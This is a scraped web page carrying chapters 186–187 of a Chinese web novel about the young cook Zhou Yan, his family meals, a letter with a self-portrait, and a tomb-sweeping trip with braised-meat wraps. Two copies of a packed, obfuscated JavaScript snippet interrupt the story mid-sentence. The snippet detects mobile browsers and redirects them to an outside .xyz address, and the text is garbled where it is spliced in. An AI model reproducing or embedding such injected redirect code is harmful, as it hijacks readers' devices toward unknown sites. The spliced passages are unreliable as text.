“看着就有模有样的，肯定不会差，我都好久没吃过奶奶做的卤素菜了，上个星期还做梦梦到，馋的很。”周明拿起筷子，先夹了一块腐竹喂到嘴里。 软而不烂，咬开之后，满满的荤香充满口腔，卤香浓郁，越嚼越香。 “好吃啊！和奶奶做的简直一模一样！”周明惊叹道，又加了一块豆腐干喂到嘴里，一边嚼一边点头，“豆干也好吃！在峨眉没吃到过这么细嫩的豆干，卤的太香了。” 周明把每一种素菜都尝了一边，赞叹声不绝于耳。 扒拉着吃了半碗米饭。 “周砚，你这卤菜的手艺太棒了，把奶奶的手艺全学到家了。”周明看着周砚非常认可道。 周砚笑着道：“别光吃卤菜，尝尝炒菜，你有伤，我辣椒都少放了些，喝碗跷脚牛肉，多吃点红烧排骨。” “没事，秋冬天这点皮肉伤哪用得着忌口。”周明不以为意，夹了一筷子猪肝喂到嘴里，眼睛顿时一亮。 这火爆猪肝好嫩哦！麻辣鲜香，味道巴适的板！ 咽下后，忍不住扒拉了一大口米饭。 他又夹了一块回锅肉，夹着一截蒜苗杆，软糯的肥肉，弹牙的瘦肉，肥而不腻，配上那青蒜，越嚼越香。 红烧排骨来一块，牙齿一咬，立马脱骨。 肉软而不柴，再嘴里一抿就化，软骨嚼起来咔嚓响，可太香了！ 跷脚牛肉是单独一碗给他的，他拿着勺子先尝了口汤。 清澈的牛肉汤，鲜味竟是如此浓郁，让他眼睛顿时亮了起来。 汤锅在周村不算稀奇，家家户户都会做，各有各的做法。 前两年周村恢复宰牛，他老汉儿杀牛，他妈就重操旧业卖汤锅，因为煮的确实不好吃，生意稀撇。 上周他收到他老汉写的信，说他妈现在不去卖汤锅了，每天一早把牛杂处理的巴巴适适，直接卖给周砚，省心省力，算下来比之前去卖汤锅还挣得多。 毕竟之前卖一半丢一半，保本都困难，还一天卖到晚。 钱是没挣到，但至少累着了。 周砚熬的这牛肉汤也太鲜了吧！一点膻味都没有，又鲜又香。 他拿起筷子夹了一片粉嫩的牛肉，在蘸碟一蘸，裹上了颗粒状的辣椒面，然后喂到嘴里。 鲜嫩的吊龙裹上调好味道的辣椒面，犹如点睛之笔，口感和味道都是一绝！ 毛肚是脆爽的，牛肠是耙软的，软糯的牛蹄筋裹上辣椒面后，各具风味，口感绝佳。 这是汤锅，那她妈做的是什么？ 周明愣住。 哦，这是跷脚牛肉，他妈做的是汤锅。 这就合理了。 这一碗跷脚牛肉，在苏稽绝无对手。 难怪六毛钱一碗客人排队吃，就冲这味道，他要有钱也经常来吃。 周明吃了三碗饭，不是周沫沫的小碗，而是装跷脚牛肉的土碗，满满当当三碗。 “明明锅吃饭也好腻害！”周沫沫都有些看呆了，小碗往前一递，“妈妈，我还要一碗饭饭！我也要吃三碗！” 求月票~   (本章完) 第186章 这盛世如你所愿 “还有两天才去扫墓，明哥你怎么提前回来了呢？假那么好请吗？”周砚开口问道。 赵嬢嬢他们也是看向了周明。 “我是被调回来给嘉州一中的武术队集训的，我以前的恩师现在在一中带武术队，我作为峨眉拳全国冠军，算是优秀毕业生回来指导学弟学妹。”周明笑着说道，“估计得待到过年，刚好这趁着这段时间去找一位练枪的大师看能不能拜师学艺。” “你不是有师门的吗？”周砚疑惑。 “现在国家注重传统文化保护与传承，峨眉武术被列入名单，要收集和整理相关的资料，我已经报名加入。”周明放下筷子，笑着解释道：“这些年学武术的人越来越少了，很多武术因为无人**而断绝传承，我觉得非常可惜和心痛，这两年到处拜访老拳师和武术世家，跟着他们学习和整理了不少资料。” “虽然武术的实战意义越来越小，比赛也是以武术套路为主，但这些老祖宗千百年锤炼打磨的技艺，不该就这样悄无声息的没落，我作为一个武师，觉得有这个责任去做一些事情，不说发扬光大，至少让他们留下痕迹吧。” 周砚看着他，肃然起敬。 本以为是粗鄙武夫，没想到竟然还有这般情怀和野望！ 在他的印象中，峨眉武术后来是被列入国家非遗名单的。 没办法，作为嘉州名片，实在太有名气，他一个常年来往嘉州、峨眉的美食博主，多少都听说过一些。 这其中，想来应该有许多像周明这样的人在背后默默付出。 吃过晚饭，周明陪周沫沫玩了一会，见店里忙碌起来，打了声招呼便先回去了。 “嘿！哈——”周沫沫在门前空地上有模有样的摆好架势打了几拳，打了一会累了，跑回到卤味摊前坐着，继续干她的日结销售岗。 “舅公！”周沫沫突然站了起来，跑到一辆停在饭店门口的自行车前，仰着头朝张正平问道：“你吃了没有？” 赵铁英闻言也是向着门口看来，笑着问道：“舅舅，里面坐嘛。” “还没有吃，刚去给丽华扎了针，摆了会龙门阵忘了看时间了。”张正平笑着说道：“不进去坐了，要回去吃饭。铁英，你给我装三两猪头肉和一斤卤素菜嘛，我带回去跟三姐下酒，豆腐干多装点。” “要得！”赵铁英笑着应道。 这边周淼已经把猪头肉和卤素菜，切好装好，走过来放到张正平的自行车篮子里。 “好多钱。”张正平摸出钱包，笑着问道。 “舅舅，你还收钱吗。”周淼回去切肉，温声叮嘱道：“慢点骑回去嘛，天快黑了。” “你要不收钱，下回我都不得来了。”张正平摸出一块钱递给周沫沫，笑着道：“沫沫，你拿过去。” “好。”周沫沫接过钱，笑眯眯道：“那下回还要来哦。” “要得，沫沫这么乖，舅公肯定来噻。”张正平笑着伸手摸了摸小家伙的脑袋，骑上车便走了。 “老板，他怎么插队呢？”排队人群中，有人嘀咕道。 周淼平淡道：“这是我舅舅，拿回去和我老娘喝酒的。” “天有雷公，地有舅公，天大地大，舅舅最大，我没得问题了。”先前说话那人应道。 人群也都笑了。 周沫沫跑回来，踮着脚尖把一块钱丢进了钱箱子，抬头小声道：“爸爸，你下回给舅公买点东西嘛，你不要钱钱，他都不来了。” “要得。”周淼嘴角勾起一丝笑容，点了点头。 “幺女还教你老汉儿人情世故哦。”赵铁英听到这话，也忍不住笑了。 “周砚，有信！”邮递员推着自行车好不容易挤过人群，喊了一声。 “这里！我锅锅的信！从山城寄来的吗？”周沫沫立马蹦了过去，举着小手喊道。 “你锅锅叫周砚？”邮递员看着小家伙，笑着点头：“对，从山城寄来的。” “对，我锅锅叫周砚。”周沫沫点着脑袋，举起小手：“我发誓！是真滴！” “周砚在厨房炒菜，你拿给他嘛。”赵铁英笑着开口道。 “要得。”邮递员把信递给周沫沫。 周沫沫举着信，转身就往厨房跑去，嘴里还喊着：“锅锅！瑶瑶姐姐寄信来了！瑶瑶姐姐的信！” 周砚手里的锅铲都快舞出火星了，回头看着她笑道：“你先揣好，我现在搞不赢看。” “哦！”周沫沫乖巧点头，跑到灶台后边坐着，手里捧着那封信，满眼期待：“锅锅，你说瑶瑶姐姐写了啥呢？” “可能夸你的画画的好看吧。”周砚笑着说道。 “真的？！”周沫沫笑容灿烂，恨不得现在就把信拆开，想了想又说道：“对啦，刚刚舅公来买卤肉，我收了他一块钱。因为他说爸爸要是不收钱，他下回就不来了。” “要得，那回头买个东西送他。”周砚笑着点头，这老头和老太太一样犟脾气。 周沫沫拿着信，就在灶台后边守着，见周砚忙，也不缠着他说话，从身旁的柴火堆里捡了一些小树枝，一会往灶台里丢一根，嘴里还奶声奶气的念叨着： “小锅，我喂你吃饭吖！” “好不好吃呀？小锅？好吃吗？” 周砚在前边炒着菜，听着小家伙自娱自乐的话，觉得今天这锅的火气都小了几分。 火光映照着她微圆的脸蛋，笑容是如此的纯真可爱。 难怪反派看到小时候的画面会悔恨醒悟，这能不治愈才怪呢。 算了算了，就算她今天**，今天的工资还是照样给她结好了。 情绪价值也是价值嘛。 “最后一份油渣莲白，没得了。”赵红端着最后一份菜出门，和周砚提示道。 “快看信！”周沫沫立马从小板凳上蹦起来，双手捧着信高高举起递了过来。 周砚把刚洗了的手在围裙上蹭了蹭，确认手上没有水渍后接过信封，小心翼翼撕开。 “有画吗？”周沫沫满眼期待地看着他。 “有。”周砚从信封里抽出信纸，最后一张一如既往是画，这次没有急着看信，而是蹲下身来，挨着周沫沫把画小心展开。 落满银杏叶的校园小道上，一个抱着书的长裙少女漫步其间，回头露出了一个甜美的笑容，风吹起了她的长发，漫天飞舞的金色银杏叶子，美的仿佛在发光。 “哇哦！是瑶瑶姐姐！好漂酿啊！”周沫沫惊叹道。 周砚看得有些出神，这画太美了，画中的人，正是夏瑶，少女的青春气息和文艺范，扑面而来。 记忆中原本有些模糊的脸，在此刻又鲜活起来了。 周砚确实没想到，夏瑶的这次回信，竟画了一张自画像。 这应该是……他给夏瑶寄了周沫沫画他在厨房的那张画后收到的回信。 那就合理了。 “拿着欣赏吧。”周砚笑着把画递给周沫沫，画友隔空交流呢。 “我的手有点黑。”周沫沫却把手缩了回去，看着他道：“锅锅，你把瑶瑶姐姐装到相框框里，然后挂在你的床头吧。” 周砚看着小家伙染上炭黑的小手，笑着点头：“好，那等会装进相框你再慢慢看。” “嗯嗯。”小家伙乖巧点头。 周砚出了厨房，把画先用平整的木板压住，这才展开信看了起来： “周砚：见字如晤，展信欢颜……” 她的字迹一如既往的娟秀，文字也如清泉般清爽而舒服。 她说她收到了他寄的米花糖和花生糖，很好吃，替邓虹和则朱玉玉向他表示谢谢。 然后聊到了这段时间在学校发生的一些趣事，以及对于专业和将来就业的一些新的想法。 相比于上次来信，周砚觉得她的迷茫似乎已经消散，目标变得明确，她也重新恢复了自信。 她已经做了决定，要成为最优秀的广告设计师，在广告设计和插画领域上闯出一番事业来。 透过文字，周砚似乎看到了她脸上灿烂的笑容，还有如太阳般炙热的决心。 就如画中那般。 “山城入秋了，川美的银杏树变成了金色的，风一吹，金色的叶片飘落，撒了一地，好美啊。 邓虹借了相机给我们拍了照片，定格了秋天的一个瞬间。 沫沫的画我很喜欢，我给她画了一张画，希望她会喜欢……” 周砚低头看着眼巴巴抬头望着他的小家伙。 “锅锅，瑶瑶姐姐提到我了吗？”小家伙满眼期待地问道。 “她说画是给你画的。”周砚笑着说道。 “是吗？可我觉得是给你的呀。”周沫沫笑眯眯道，“你放心，我不会跟你抢的。” 周砚：…… 周砚不信，但这一行字看着确实和前面的不太一样，笔风有所变化，大概是心境是有起伏的。 信的最后，还问候了一下赵嬢嬢和老周同志。 一如既往的周全。 赵嬢嬢虽然一脸八卦，但还是忍住了没问。 不过看到夏瑶的画后，笑得比谁都开心。 “相框拿来裱好，莫要弄脏弄烂了。”赵嬢嬢一脸认真地叮嘱道。 周砚把画压平后，装进相框，大小刚好合适。 这画确实画的极美，不管是人还是景，都栩栩如生。 周砚不懂画，但人民群众觉得美的画，那一定是好画。 周二娃饭店五人，一致认为画的漂亮。 “画的太漂亮了，这妹儿长得也太乖了。”赵红满脸赞叹，“周砚，加把劲，要是能把她娶回家就安逸了。” 周砚把画拿到楼上，本来打算装进箱子，想了想，立在了床头的箱子上。 斯是陋室，立马多了一抹亮色。 当一幅装饰画，还挺好看的。 “好漂亮！”周沫沫屁颠颠跟上了楼，趴在箱子边瞧着，“为什么瑶瑶姐姐能画的那么好看啊？我画的就有点好笑呢？” “你画的也很好看啊，夏瑶说她很喜欢你的画。”周砚笑着说道。 周沫沫回头看着他，眨巴着眼睛道：“锅锅，我画的是你，瑶瑶姐姐是喜欢我的画呢，还是喜欢你呢？” 小家伙的眼睛亮晶晶的，干净而纯粹，周砚似乎能看到自己的影子。 “到时间了，你该去画画了。”周砚抬手看了眼表，笑着说道。 “那我去了哦！”周沫沫转身就跑去房间拿了蜡笔和画纸，蹬蹬蹬下楼去了。 周砚把信放进箱子，又看了眼画，笑着换了衣服下楼跑步去了。 跑完步回来，老周同志正在给赵嬢嬢按肩膀，周沫沫端坐在桌子前，认真画画。 周砚洗了澡出来，看了眼正在摆棋盘的老周同志，看着赵嬢嬢道：“我等会把周日的菜单捋一下，看看要怎么安排，还要把人数也确认下来，免得到时候没有安排好。” “人数昨晚上我跟你老汉儿已经算过了，你大爷家九个，二伯家七个，三伯家三个，加上你小叔和老太太还有你舅公，加上我们家四个，一共二十六个人，坐三桌刚好合适。”赵嬢嬢说道：“菜单你看着安排，就按家里请客吃饭的标准来，把你的拿手菜露一手，这样大家吃的还舒服些。” “要得。”周砚点头，心里大概有数了。 这是搬家后第一次请客吃饭，算得上头等大事，周砚得安排妥当。 “星期天中午那顿怎么安排呢？在嘉州找个饭店吃吗？”周砚又问道。 “按照惯例，你奶奶会做一篮子馒头当干粮，带上两盒咸菜，简单解决。”周淼说道。 周砚笑道：“吃咸菜也太过简单了吧，当天早上我早点卤一锅肉和素菜，打包一份中午做菜，留下的晚上请客吃饭也能当菜。” 赵嬢嬢点头：“可以，那肯定比吃咸菜巴适。” 周砚从柜台上拿出纸笔，刷刷几下把菜单给安排了，然后把所需的食材和分量也算好了。 卤菜有卤猪耳朵、卤猪头肉、卤牛肉，卤素菜选几样拼一盘 烧菜有红烧排骨、牛肉烧笋干、藿香鲫鱼。 炒菜有双椒碎花牛肉、回锅肉、火爆猪肝、麻婆豆腐、鱼香肉丝。 共计十二个菜。 都相当硬。 这一桌菜按店里的卖价算，那就是15.8元。 餐标可不低。 “除了跷脚牛肉，所有菜都上一遍啊？”赵嬢嬢过来看着周砚列的菜单，有些意外。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274010|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这回聚了，下一次可能就得等过年了，把拿手菜都给大家做一份尝尝，十二个菜，我看挺合适的。”周砚笑着说道。 “也好。”赵嬢嬢点头，目光落在最后的那道菜上，“鱼香肉丝？这道菜没见你做过吧？” “我在食堂经常做，我们孔派的拿手菜，打算下个星期再上菜单。”周砚随口胡诌道，周日亮出来让大家尝尝，先测试一下口碑，好做调整。 “鱼香肉丝没吃过几回，但鱼香茄子好吃，以前你外婆就常做，好下饭哦，吃红苕配着吃都觉得安逸惨了。”赵嬢嬢的脸上露出几分怀念之色，“我也好久没吃过了，我做的总感觉差点意思，没你外婆做的好吃。” “那肯定是因为泡二荆条的味道不同，下回你用外婆泡的二荆条试试看。”周砚看着她，不知道她是在怀念鱼香茄子，还是小时候的自己。 赵嬢嬢笑着点头：“有道理，下次回娘家，把你外婆泡菜坛子里的母水打一罐罐回来。” 周砚和老周同志下了三盘棋，以全胜战绩结束战斗。 “老汉儿，越下越菜，我看还得练哦。”周砚一脸得意。 “今天不算，”老周同志收着棋盒，有些不服气，“我看今天晚上要落雨，气压有点低，空气有点闷，影响了我的判断，明天重新来过。” “人不行怪路不平。”赵嬢嬢撇撇嘴，打着哈欠抱着周沫沫上楼睡觉去了。 老周同志老脸一红，把象棋放回柜台下边，也跟着上楼去了。 接下来两天，店里一如既往的忙碌。 饭店周日不营业的消息，又引起客人们的一阵哀嚎。 那没办法，相比于工作日，周日中午不营业对饭店的损失是最小的。 而且这种特殊日子，就算是工作日，他也得关门去扫墓。 周六晚上营业结束，把门一关，周砚一家先回了一趟周村。 老太太和几兄弟说了明天的安排。 祭拜的东西准备的很简单，在这方面，老太太一贯节俭，拒绝铺张。 在吃饭的安排上，老太太听到周砚要卤肉带出去当午饭，笑着问道：“不嫌麻烦吗？一大早起来卤。” “不麻烦，平时都习惯了，反正晚上也要吃。”周砚笑道。 “要得，就按你的安排来。”老太太点头。 第二天一早，周砚便骑着二八大杠出门买菜。 三桌菜，种类繁多，但每样要得都不多。 他买完菜回到饭店，老周同志已经在厅堂里坐着，开始帮忙处理食材。 不到八点钟，卤肉已经陆续都出了锅。 周砚切了两斤卤猪头肉，又拿了一个搪瓷盆装了一盆卤素菜，拿罐头瓶装了一瓶泡萝卜。 扫墓用不了一天时间，不过老周家有一起登山野餐的传统，这是老太太定下的，扫完墓后举家爬老霄顶，爬完山再回家。 “周砚！” “四叔、四嬢！” “哎呀，沫沫今天的头发编的好乖啊。” 周砚刚把泡萝卜装好，外边已经传来了众人的声音。 “来了！”周砚应了一声，把菜装进铺了稻草的背篼，然后推着自行车出门。 门口停了十几辆二八大杠，老周家老中青小四代全员出动，舅公张正平也来了。 车子不全是自家的，有些是村里借的，都知道老周家要去扫墓，借车就一句话的事。 周砚和众人打了招呼，周沫沫跑了过来，身上挎着她的专属迷彩水壶，“锅锅，我要坐你的车车！” “抓稳。”周砚笑着把她拎到绑着旧衣服的前杠上。 “走嘛。”老太太坐在周明骑的自行车后座上，发话道。 众人一路闲聊，直奔嘉州城而去。 老霄顶位于嘉州老城区内，嘉州文庙便建在旁边。 老爷子的墓修在后山脚下，这会嘉州还未修大规模的烈士陵园，因为老爷子是一等功臣，所以和一批烈士一同安排在这里，供后辈瞻仰和缅怀，每年清明节，还有学生来扫墓纪念。 众人把自行车停在山脚下，和守陵人说了一声，便会帮忙看着。 众人提着东西往里走去，脸色皆凝重了几分。 孩子们你追我赶，脸上的笑容倒是明媚灿烂。 “帆娃！”赵红喊道。 老太太笑着摆了摆手：“莫喊，让他们开开心心地耍，高高兴兴拜，一个个低眉顺眼，垂头丧气的，老头子还以为我们过得不好呢。” 众人闻言都笑了，神情也是随之轻松了不少。 “三姐心态还是好，要是我躺在里边，玉容还不晓得要怎么哭呢。”张正平笑道。 “算球，玉容给你守灵的时候，肯定还要拉几个人凑桌麻将。”老太太给他翻了个白眼。 张正平琢磨了一下，深以为然的点头：“硬是有些道理，这事她是做得出来的。到时候我就在旁边给她们吹阴风，让她们都胡不成。” 周砚歪头，感觉听了个阴间笑话。 川渝这边的喜宴他吃过几回，但丧事确实没参加过。 不过据他的本地室友说，灵堂守夜孝子组队搓麻将，算是传统节目了。 画风和外地是不太一样。 要不怎么说四川人神呢。 这种事情但凡换个地方，不孝子的帽子得戴进棺材。 这墓园规模较小，众人来到一块墓碑前，碑上刻着：烈士周毅之墓 众人上前扫掉墓前的落叶，用新抹布抹去墓碑上的尘土，然后把带来的刀头肉、酒一一摆上。 周砚接过抹布，擦到墓碑后方的时候，发现背后镌刻着周毅同志的生平，洋洋洒洒数百字，将他从1937年8月16日离家出川，历经沪松战役、台儿庄大捷……最后倒在了铁原的戎马一生，简略概括。 可每一个字，都是如此的壮烈。 周砚脑海中闪过一个画面，临行前，周毅抓着张淑芬的手说的那句话：“我必须去，我们把该打的仗都打了，我们的后代就不用再打了！” 老太太一身黑衣，站在一旁，看着墓碑久久沉默着。 周砚缓缓握拳，在心中默念：“爷爷，山河无恙，这盛世如你所愿。” (本章完) 第187章 被卤肉卷饼馋哭了（6k二合一） 按照惯例，众人把园里十二块墓碑都擦了一遍，墓前的落叶全部扫地干干净净，墓碑前倒一杯酒，点一根烟。 然后众人来到老爷子的墓碑前，依次跪拜。 “明明，你求你爷爷保佑你早日结婚，给我带个儿媳妇回来。” “周杰，那你就求你爷爷保佑你多挣钱。” “帆娃跪倒，求你祖祖保佑你学习进步。” 祭拜先人，墓前烧着黄纸，人们总会许下朴素的愿望，祈求先人保佑，能够让自己心想事成。 众人逐一上前祭拜。 周砚跪下磕了三个头，缓缓起身。 “幺女，你来。”赵嬢嬢招呼周沫沫过来。 小家伙跪在软垫上。 “你想爷爷保佑你啥子？”赵嬢嬢笑着问道。 周沫沫双手合十，一脸虔诚，奶声奶气地开口：“爷爷，我祝你天天开心，身体健康。” 众人一下安静了下来，有些惊讶地看着周沫沫。 老太太也是低头看着她，脸上露出了宠溺的笑容。 他一直都想要个女儿，现在有这么一个乖巧的孙女，应该会很高兴吧？ 周砚也笑了，每次去老太太那都要跟爷爷的遗照打招呼的小家伙，哪懂什么保佑呢，她只是献上了她最纯真的祝福罢了。 周卫国上前，举起右手敬了个礼。 他今天穿的是军装，空荡荡的左臂，衣袖随风摇摆，犹如一面旗帜。 周砚看着他愣愣出神，小叔是遗腹子，爷爷离开的时候甚至不知道他的存在。 可偏偏最像爷爷的又是他。 他扛回了第二块一等功臣的牌匾。 但这一次，他没有让老太太站在村口接匾，他终究是活着回来了。 老太太最后上前，拿起瓶子里剩下的酒，缓缓倾倒在墓碑前，喃喃道：“桥头张老三酿的酒，你最喜欢喝的，给你满上，慢慢喝。卫国去参加工作了，当了武装部部长，还是带兵。周明和周砚前两天抓了四个劫车的小偷，也都是好样的……” 周家子孙在后边站着，听着老太太说话。 三十多年来，每年如此，除了入伍当兵的，这一天都必须回来到场。 这才是老周家真正的家风。 黄纸全部烧完，烟头燃尽，众人这才收拾好东西离开。 出了墓园，从后山往老霄顶慢慢爬去。 周砚提着一个篮子，里边装着卤肉和卤素菜。 周杰也拎了个篮子，里边是二嬢一早摊的玉米饼，这是二嬢为数不多能拿得出手的厨艺。 老太太做的老面馒头周海拎着。 几个孩子叽叽喳喳在前边跑着，仿佛不知疲倦一般。 其他人都放慢了脚步往上爬，陪着腿脚不便的周卫国和上了年纪的老太太、张正平慢慢往上爬，一路闲聊，享受着难得的欢聚时光。 张正平扶着一棵树喘着粗气，接过周杰递来的水壶喝了一口，笑着摇头道：“不服老不行哦，这点坡坡都爬的大喘气，以前这种路我们都是抬着伤员一口气跑上去的。” 周卫国也停了下来，抬头看着山道，嘴角露出一丝笑容：“以前我们穿插连，一天能跑六十公里，一半多是山路。” “那你比我还狠。”张正平看着他，眼里全是服气。 老太太看着他笑道：“平时还是要多锻炼，你看我比你还大几岁，一口气爬到这不费劲。” “我平时也有锻炼的……”张正平老脸一红。 众人沿着蜿蜒的道路不紧不慢地往上爬，路上不时能看到在草堆里掩映的石碑，是古代名流、诗人留下的墨宝。 老霄顶又名高标山，这座位于嘉州城中的山，是嘉州地标之一，从古至今有不少名流攀登过，留下诗句。 山不高，但在城中尤为难得。 一路走走停停，一个小时方才登顶。 山上的道观无人管理，透着几分破落的气息，依稀能看到当年盛时的景象。 今天是周日，来游玩的人还不少。 张正平找了处长条石坐下，长舒了一口气，笑道：“小小高标山，拿下。” 周砚走眼走到平台上远眺，整座嘉州城尽收眼底。 他以前爬过老霄顶。 不过那时周围已经高楼遍布，显得老霄顶小小的，难以和西南第一楼对应上。 但如今的嘉州城中，到处是青瓦平房，一眼望去，有种灰白色调的感觉，登高远眺，感觉眼界都一下变得开阔起来。 “瞧，那边就是嘉州大佛的方向！”周杰手指道。 周砚顺着他手指的方向看去，岷江上行船如织，远眺大佛，看得不太真切，更觉庄严。 观前有棵大银杏树，落了一地的金色叶子，风一吹，哗啦啦漫天飞舞，一群孩子如捡拾宝藏一般捡着银杏叶。 “锅锅，你看！是瑶瑶姐姐画里的叶子！”周沫沫捏着一把银杏叶凑到周砚跟前，满眼欣喜，“好漂酿哦！我要把它们带回家好不好！” “好，拿回去给你做成标本，就可以放很久。”周砚笑着点头。 金色的银杏叶，谁不喜欢呢，他小时候可爱往书里夹银杏叶了。 仿佛留下这片叶子，就能留住这个秋天一般。 玩了一会，孩子们陆续开始喊饿了。 几个装满吃食的篮子摆在长条石凳上，一盆切好的猪头肉，一盆混装的卤素菜，还有一篮子的玉米煎饼和一篮子老面馒头。 “要不要把饼热一热，我带了个小锅来。”周杰从背篼里掏出一口平底的铁锅，“我试过，热一热，要香的多。” “可以啊杰哥，你这想的太周到了！”周明笑道，指着旁边道：“咱们垒个灶，捡点干柴就能把火烧起来，把饼热着吃。” “我来搬石头！” “我去捡树枝！” 众兄弟立马响应，一会功夫就垒了一个简易小灶。 说是灶，其实也就是三面用石头和残砖砌平，平底锅能放平就行。 周立辉带着几个小孩去捡了些枯木枝回来。 “行了，不用捡了，热个饼能用得着多少木头。”周砚笑道，把几个小孩喊住，看着那玉米饼和卤肉还有卤素菜，心头有了主意，“我来嘛，给你们做个卤肉玉米卷饼。” “行，你来。”周杰立马把位置让开，退到另一边，掏出火柴，开始点火。 这年代森林防火还没那么严格，只要不跑到山里去放火，露天煮饭、烧烤没啥人管，乡下到处是烧秸秆的，天一样碧蓝碧蓝的。 火很快就引燃了，周砚挑了几根大一些的木头塞到简易灶里，等火力稳定下来后，洗了手，从篮子里拿了一张玉米饼放入平底锅中。 饼子摊的很薄，金灿灿的，很明显就是用这口平底锅摊的，大小刚好合适，一加热，很快有玉米的香气飘散开来。 手腕轻轻一抖，玉米饼飞起，在锅里翻了个面，底面已经煎的微微焦黄，周砚拿起筷子夹了一筷子卤猪头肉和卤素菜平铺在玉米饼上，卤肉的表面很快泛起了微微油脂，滋滋冒油，卤香与肉香立马在老霄顶上飘散开来。 “好香啊！” “还是周砚有想法哦，不愧是厨师。” 老周家众人眼睛顿时一亮。 其他游客闻着香味，也是纷纷向着这边看来，皆是忍不住吞了吞口水。 临近中午，这年代三餐规律的人们，闻到香味立马觉得饿了。 手里冷冰冰的干粮和馒头，更是顿时变得不香了。 周砚用筷子夹起玉米饼的边缘一卷，便把卤肉和卤素菜滚成了一个卤肉卷，抽一张油皮纸一包，先递给老太太，笑着道：“奶奶，你尝尝味道怎么样。” “要得，我尝尝看。”老太太接过，吹了吹，咬了一口。 加热后的玉米饼软软糯糯的，一口咬下去，里边夹着满满的卤猪头肉和腐竹。 肥而不腻的猪头肉加热后变得柔软，配上软而不烂，卤香十足的腐竹，一口下去，荤香十足，实在是太满足了。 在野外能吃上这一口热乎的卤肉卷饼，满足感是无与伦比的。 老太太连连点头道：“好吃，卤猪头肉、腐竹和玉米饼好搭哦，热一热之后，风味更佳，周砚硬是有水平，晓得怎么搭配。海燕煎的这个玉米饼也很好，水分刚好合适，口感筋道又柔软。” 二嬢吴海燕听完搓了搓手，脸上笑容灿烂。 一群娃娃围着锅直咽口水，眼巴巴看着周砚煎饼。 周砚很快又煎好卷起一个饼，这次递给了舅公张正平。 “闻着就多香。”张正平接过饼，直接咬了一口，眼睛顿时一亮，咽下后看着周砚赞叹道：“好吃！你这脑瓜子是好用，这卤猪头肉和玉米饼简直太合拍了！吃起来又香又软还带点玉米的回甜，简直巴适得板！” 老太太和舅公的称赞，可是吊足了众人的胃口。 卤肉的加热的香气越飘越远，老霄顶上的游客有点坐不住了，频频朝这边看来。 “老汉，他们在吃啥子？好香啊！” “妈！我也想吃！” 有个甚至孩子被馋哭了，闹着要吃饼。 “好了，先给几个娃娃卷嘛，看他们口水都要流出来了。”大伯周清笑着说道。 其他人也是纷纷笑着点头，老太太和张正平两位长辈先吃上就行。 周砚闻言把刚卷好的饼递给了周沫沫。 周沫沫在这群孩子里辈分最大，但年纪却是最小的。 孩子们虽然眼馋，但这可是自家最受宠的幺姑，愣是没一个觉得不合理的。 “哇哦，锅锅，这是蛋烘糕吗？”周沫沫两眼放光的伸手接过，两只手小心捧着，好奇问道。 “这可不是蛋烘糕，真要取个名字的话，可以叫卤肉卷。”周砚手上没停，笑着应道。 周沫沫小口吹了吹，张大嘴巴咬了一口，大眼睛立马亮了起来，连脑袋都不自禁地晃了起来。 软软的！甜甜的！咬开还有肉肉！ 好香啊！ 她不知道该怎么去形容，吃起来和甜甜的蛋烘糕不一样。 但是一样很好吃。 “咕噜~” 旁边的路人小孩们齐齐咽了咽口水，哭的那个小孩哭的更大声了。 家长被磨得没了脾气，腆着笑脸上前问道：“你好，你们这饼，卖吗？我家孩子被馋哭了，实在拿他没办法，我给钱的。” “不好意思，这是我们带的午饭，实在卖不了。”周砚微笑着婉拒道，这煎饼估摸着也就二十来个，还不一定能保证自家人一人能分一个。 再说了，那么多孩子看着呢，这口子一开，可不得嗷嗷哭一片。 他还没决定在老霄顶摆摊卖卤肉卷呢。 “行，打扰了。”那人点头，转身抱着哭闹的孩子走了，“走嘛仙人，我带你下山去吃钵钵鸡！” “有这手艺，在哪都饿不着。”张正平笑道。 老太太也是笑着点头：“厨师是勤行，只要够勤快，怎么都能有口饭吃。” 周砚的动作很快，卷饼一个接一个，老周家众人很快就人手一个吃了起来，赞叹声不绝于耳。 老太太拿了张油皮纸，折了个口袋，装了些藕片和土豆散给眼巴巴望着的孩子们，可把孩子们乐坏了。 二嬢显然也是算过人头的，二十六张玉米煎饼，一个不多一个不少。 最后一个是煎给周砚自己的，加了双份卤肉，还加了腐竹和土豆。 土豆一捻就碎，直接当土豆泥。 最后加上几条酸萝卜裹在饼里。 眼角弹出一行鉴定： 【一份难以评价的玉米卷饼】 这描述把周砚逗乐了，他抬手看了眼表，好家伙，煎了快一个小时。 热气腾腾的玉米饼外焦里嫩，裹着满满的卤猪头肉肉，一口下去，绵密的土豆泥配上软而不烂的腐竹，和脆爽的酸萝卜激起了口感的多重奏。 卤猪头肉的油脂被玉米饼充分吸收，荤香融入其中，越嚼越香，酸萝卜则负责解腻清爽。 相比于煎饼果子薄脆多变的口感，有啥卷啥，确实差点意思，也有点难以描述。 但在野外山上能吃上这样一口热乎的卤肉卷，那可太让人满足了。 没吃饱的就吃馒头，就着卤猪头肉和卤素菜，一样吃的津津有味。 “同志，你们这个卤味好巴适哦，我孙子好喜欢吃，是自家做的，还是哪里买的啊？”一个老头笑呵呵上前向周砚问道。 不少人闻言也是向着周砚看了过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281133|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 